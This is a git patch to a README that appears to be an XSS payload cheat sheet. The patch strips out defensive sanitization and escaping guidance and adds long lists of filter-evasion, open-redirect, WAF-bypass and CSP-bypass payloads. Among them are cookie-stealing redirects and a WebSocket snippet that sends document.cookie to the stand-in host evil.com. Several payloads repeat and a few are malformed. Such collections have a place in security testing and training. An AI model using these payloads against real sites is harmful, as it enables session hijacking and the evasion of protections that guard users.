From 15b5e91af2965c1c5d9103a3e9eb50d6068c5f9b Mon Sep 17 00:00:00 2001
From: ShadowByte <155693555+ShadowByte1@users.noreply.github.com>
Date: Tue, 6 Aug 2024 11:14:57 +1000
Subject: [PATCH] Update README.md

---
 README.md | 337 ++++++++++++++++++++++++++++++++++++++++++++++++++----
 1 file changed, 317 insertions(+), 20 deletions(-)

diff --git a/README.md b/README.md
index d0e3ec5..ee3233a 100644
--- a/README.md
+++ b/README.md
@@ -52,16 +52,7 @@ Template Literals: If input is in a template literal: `${alert(1)}`
 4.1 Content Security Policy (CSP) Bypass
 CSP is a security measure that helps prevent XSS by specifying trusted content sources. However, it can be bypassed if not correctly configured.
 
-4.1.1 Methods to Bypass CSP
-Using JSONP: Exploit JSONP endpoints that execute arbitrary JavaScript.
-Misconfigured CSP Headers: Overly permissive or misconfigured CSP headers, such as those allowing unsafe-inline or unsafe-eval.
-Inline Script Allowances: Inject inline scripts if the CSP allows it.
-4.1.2 Example CSP Bypass
-```
-<script nonce="random-nonce">
-    fetch('https://example.com/jsonp?callback=alert(1)')
-</script>
-```
+
 4.2 Polyglot XSS
 Polyglot payloads can function in multiple contexts (HTML, JS, CSS) to bypass input filters.
 
@@ -104,10 +95,38 @@ Using null bytes to bypass filters or terminate strings early.
 4.7.1 Example Null Byte Injection
 ```
 <img src="x" onerror="alert(1)";%00" src="y">
+<img src="x" onerror="alert(1)%00" src="y">
+<svg onload="alert(1)%00">
+<iframe src="javascript:alert(1)%00"></iframe>
+<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==%00"></iframe>
+<a href="javascript:alert(1)%00">Click me</a>
+<form action="javascript:alert(1)%00" method="post"><input type="submit"></form>
+<img src="x" onerror="alert(1)";%00" src="y">
 ```
 4.8 Case Variation
 Altering the case of HTML tags and attributes to bypass case-sensitive filters.
 
+Obfuscation Techniques
+```
+// Obfuscation with white spaces
+<scr\0ipt>alert(1)</scr\0ipt>
+
+// Breaking up keywords
+<scri/*foo*/pt>alert(1)</scri/*foo*/pt>
+
+// Using concatenation
+<scr\+ipt>alert(1)</scr\+ipt>
+```
+
+Unexpected Input Variations
+```
+// Inline event handlers
+<svg><a href="javascript:alert(1)">click</a></svg>
+
+// Injecting into attributes
+<input type="text" value="``><svg onload=alert(1)>">
+```
+
 4.8.1 Example Case Variation
 ```
 <Svg OnloAd=alert(1)>
@@ -146,20 +165,298 @@ Browser Developer Tools: Use the console, breakpoints, and step through the Java
 7.1 Input Validation and Sanitization
 Ensure all user inputs are validated and sanitized before being processed or rendered.
 
-7.1.1 Example Sanitization
-Use libraries like DOMPurify to clean HTML inputs.
+Bypassing Filters with HTML Entities
+```
+<svg onload=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
+<img src=x onerror=& #x61;&#x6c;&#x65;&#x72;&#x74;(1)>
+```
 
-7.2 Content Security Policy (CSP)
-Properly configure CSP headers to mitigate XSS.
+Bypassing Filters with Null Bytes
+Null byte injection can terminate strings early or bypass certain filters by injecting null characters.
 
-7.2.1 Example CSP Header
+```
+<img src="x" onerror="alert(1)";%00" src="y">
+```
 
-Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random-nonce'
-7.3 Escaping Outputs
-Always escape data before rendering it in HTML, JavaScript, or other client-side contexts.
+# Open Redirect Exploits
 
-Example Escaping
-Use functions like htmlspecialchars in PHP or escape in Python.
+Basic Open Redirect to XSS
+
+// Basic payload, JavaScript code is executed after "javascript:"
+javascript:alert(1)
+
+Bypassing "javascript" Word Filter with CRLF
+```
+java%0d%0ascript%0d%0a:alert(0)
+```
+Abusing Bad Subdomain Filter
+```
+javascript://sub.domain.com/%0Aalert(1)
+```
+
+JavaScript with "://"
+```
+javascript://%250Aalert(1)
+```
+
+```
+// Variation with query
+javascript://%250Aalert(1)//?1
+javascript://%250A1?alert(1):0
+```
+Other Variations
+```
+%09Jav%09ascript:alert(document.domain)
+javascript://%250Alert(document.location=document.cookie)
+/%09/javascript:alert(1);
+/%09/javascript:alert(1)
+//%5cjavascript:alert(1);
+//%5cjavascript:alert(1)
+/%5cjavascript:alert(1);
+/%5cjavascript:alert(1)
+javascript://%0aalert(1)
+<>javascript:alert(1);
+//javascript:alert(1);
+//javascript:alert(1)
+/javascript:alert(1);
+/javascript:alert(1)
+\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
+javascript:alert(1);
+javascript:alert(1)
+javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
+javascript:confirm(1)
+javascript://https://whitelisted.com/?z=%0Aalert(1)
+javascript:prompt(1)
+jaVAscript://whitelisted.com//%0d%0aalert(1);//
+javascript://whitelisted.com?%a0alert%281%29
+/x:1/:///%01javascript:alert(document.cookie)/
+";alert(0);//
+```
+Open Redirect by Uploading SVG Files
+Using SVG files to perform open redirects can be effective, especially when the application allows file uploads.
+```
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<svg
+onload="window.location='http://www.example.com'"
+xmlns="http://www.w3.org/2000/svg">
+</svg>
+```
+
+Client-Side Prototype Pollution to XSS
+Prototype pollution in JavaScript occurs when an attacker can modify the properties of Object.prototype. This can lead to XSS if these properties are used in sensitive operations.
+
+// Prototype pollution payload
+Object.prototype.polluted = 'polluted';
+If the application uses a polluted object property in a dangerous way, this can lead to XSS:
+
+```
+var obj = {};
+alert(obj.polluted); // Outputs: polluted
+```
+
+# How to Bypass Internal Filtering for XSS
+Bypassing internal filtering mechanisms such as Web Application Firewalls (WAFs) and input sanitization requires a deep understanding of how these filters operate and the techniques that can be used to circumvent them. This guide provides an in-depth look at various methods to bypass internal filtering mechanisms for XSS attacks.
+
+Internal filters and WAFs are designed to prevent malicious inputs by inspecting, sanitizing, or blocking suspicious content. Common filtering techniques include:
+
+Blacklisting: Blocking known malicious patterns or keywords.
+Whitelisting: Allowing only specific safe inputs.
+Encoding: Converting special characters to their HTML entities.
+Normalization: Simplifying input to a consistent form for easier inspection.
+
+Techniques for Bypassing Filters
+2.1 Encoding and Decoding
+Using various encoding methods can help bypass filters that don't decode inputs before inspection.
+
+URL Encoding
+```
+%3Cscript%3Ealert(1)%3C/script%3E
+```
+Double URL Encoding
+```
+%253Cscript%253Ealert(1)%253C/script%253E
+```
+HTML Entities
+```
+&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;
+```
+Unicode Encoding
+```
+\u003Cscript\u003Ealert(1)\u003C/script\u003E
+```
+Case Variation
+Altering the case of HTML tags and attributes can bypass filters that are case-sensitive.
+```
+<ScRiPt>alert(1)</ScRiPt>
+<Img sRc=x OnErRoR=alert(1)>
+```
+Comment Insertion
+Inserting comments within the payload can break up patterns that the filter is looking for.
+```
+<scr<!-- -->ipt>alert(1)</scr<!-- -->ipt>
+```
+Using Null Bytes
+Null byte injection can terminate strings early or bypass certain filters.
+```
+<img src="x" onerror="alert(1)%00" src="y">
+<svg onload="alert(1)%00">
+```
+Breaking Up Keywords
+```
+<scri/*foo*/pt>alert(1)</scri/*foo*/pt>
+```
+Using Concatenation
+```
+<scr\+ipt>alert(1)</scr\+ipt>
+```
+Leveraging Browser Parsing Quirks
+Different browsers may interpret malformed HTML or JavaScript in ways that can be exploited.
+```
+<scr<script>ipt>alert(1)</scr</script>ipt>
+```
+Incomplete Tags
+```
+<svg><a href="javascript:alert(1)">click</a></svg>
+```
+Inserting White Spaces and Line Breaks
+Using white spaces and line breaks to bypass filters.
+
+```
+<scr\0ipt>alert(1)</scr\0ipt>
+<svg
+onload=alert(1)>
+```
+Combining Techniques
+Combining multiple bypass techniques to create a payload that evades detection.
+
+```
+<scr\0ipt>alert(1)</scr\0ipt>
+%3Cscript%3E%61lert(1)%3C/script%3E
+<scr\+ipt>alert(1)%00</scr\+ipt>
+```
+3. Real-World Examples
+3.1 URL Encoding and Decoding
+Using URL encoding to bypass filters that do not decode inputs before inspection.
+
+
+Combining case variation and comment insertion to bypass case-sensitive filters.
+
+```
+<ScRiPt>alert(1)</ScRiPt>
+<scr<!-- -->ipt>alert(1)</scr<!-- -->ipt>
+```
+Null Byte Injection
+Using null bytes to terminate strings early or bypass certain filters.
+
+```
+<img src="x" onerror="alert(1)%00" src="y">
+<svg onload="alert(1)%00">
+```
+Obfuscation and Concatenation
+Using obfuscation and concatenation to avoid detection by filters.
+
+```
+<scri/*foo*/pt>alert(1)</scri/*foo*/pt>
+<scr\+ipt>alert(1)</scr\+ipt>
+```
+
+
+# Understanding CSP
+CSP works by allowing website owners to define a whitelist of trusted sources for content such as scripts, styles, images, and more. This is done through the Content-Security-Policy HTTP header. Key directives include:
+
+default-src: The default policy for loading content types.
+script-src: Defines trusted sources for JavaScript.
+style-src: Defines trusted sources for CSS.
+img-src: Defines trusted sources for images.
+2. Common CSP Misconfigurations
+Misconfigured CSP policies are often the root cause of bypasses. Common issues include:
+
+Allowing unsafe-inline or unsafe-eval in script-src.
+Overly permissive whitelists.
+Failing to cover all possible directives, leaving certain content types unprotected.
+
+# Bypassing CSP
+
+JSONP (JSON with Padding) allows data to be fetched from a different domain using a <script> tag. If the JSONP endpoint is not properly secured, it can be exploited to execute arbitrary JavaScript.
+
+Overly permissive CSP headers, such as those allowing unsafe-inline, can be exploited to run inline scripts directly.
+```
+<script nonce="random-nonce">alert(1)</script>
+```
+
+Inline Script Allowances
+When unsafe-inline is allowed, or if there is an oversight allowing inline scripts, attackers can inject their payload directly into inline scripts.
+
+Data URIs
+Data URIs can sometimes be used to bypass CSP if they are allowed in the policy.
+```
+<img src="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+">
+```
+
+# Exploiting Script Gadgets
+Script gadgets are existing pieces of code on a website that can be exploited to perform unintended actions. This is particularly effective if unsafe-inline or unsafe-eval is used.
+
+Exploitation
+Find an existing inline script that can be manipulated.
+Inject code that modifies the behavior of the script.
+
+Content Injection via Whitelisted CDNs
+If a Content Delivery Network (CDN) is whitelisted, and the attacker can upload content to that CDN, they can inject malicious scripts.
+
+Exploitation
+Upload a malicious script to cdn.example.com.
+Include the script on the target site:
+```
+<script src="https://cdn.example.com/malicious.js"></script>
+```
+
+Subresource Integrity (SRI) Bypass
+SRI is used to ensure that resources hosted on third-party servers have not been tampered with. However, if SRI is not used properly, it can be bypassed.
+
+Exploitation
+Host a script on a trusted domain without SRI.
+Include the script:
+```
+<script src="https://trusted.com/script.js"></script>
+```
+Mutation XSS
+Mutation XSS exploits the way browsers handle dynamic content changes. If CSP allows unsafe-inline, attackers can inject payloads that mutate the DOM in unexpected ways.
+
+Exploitation:
+```
+<div><img src=x onerror="alert(1)"></div>
+<script>
+document.querySelector('div').innerHTML = '<img src=x onerror="alert(1)">';
+</script>
+```
+
+Using WebSockets
+WebSockets can sometimes be used to exfiltrate data or execute JavaScript if allowed by CSP.
+
+Exploitation:
+```
+var ws = new WebSocket("wss://evil.com/socket");
+ws.onopen = function() {
+  ws.send(document.cookie);
+};
+```
+
+CSP Nonce Reuse
+If the CSP nonce is reused or predictable, it can be exploited to run malicious scripts.
+
+Exploitation
+Predict or capture the nonce value.
+Use the nonce to execute a script:
+
+```
+<script nonce="captured-nonce">alert(1)</script>
+```
+
+Example of a Secure CSP Header
+Here’s an example of a secure CSP header that mitigates most XSS attacks:
+```
+Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random-nonce'; style-src 'self' 'nonce-random-nonce'; object-src 'none'; frame-ancestors 'none'; base-uri 'self'; form-action 'self';
+```
 
 Use Security Libraries
 Utilize libraries like DOMPurify to clean HTML inputs and prevent XSS.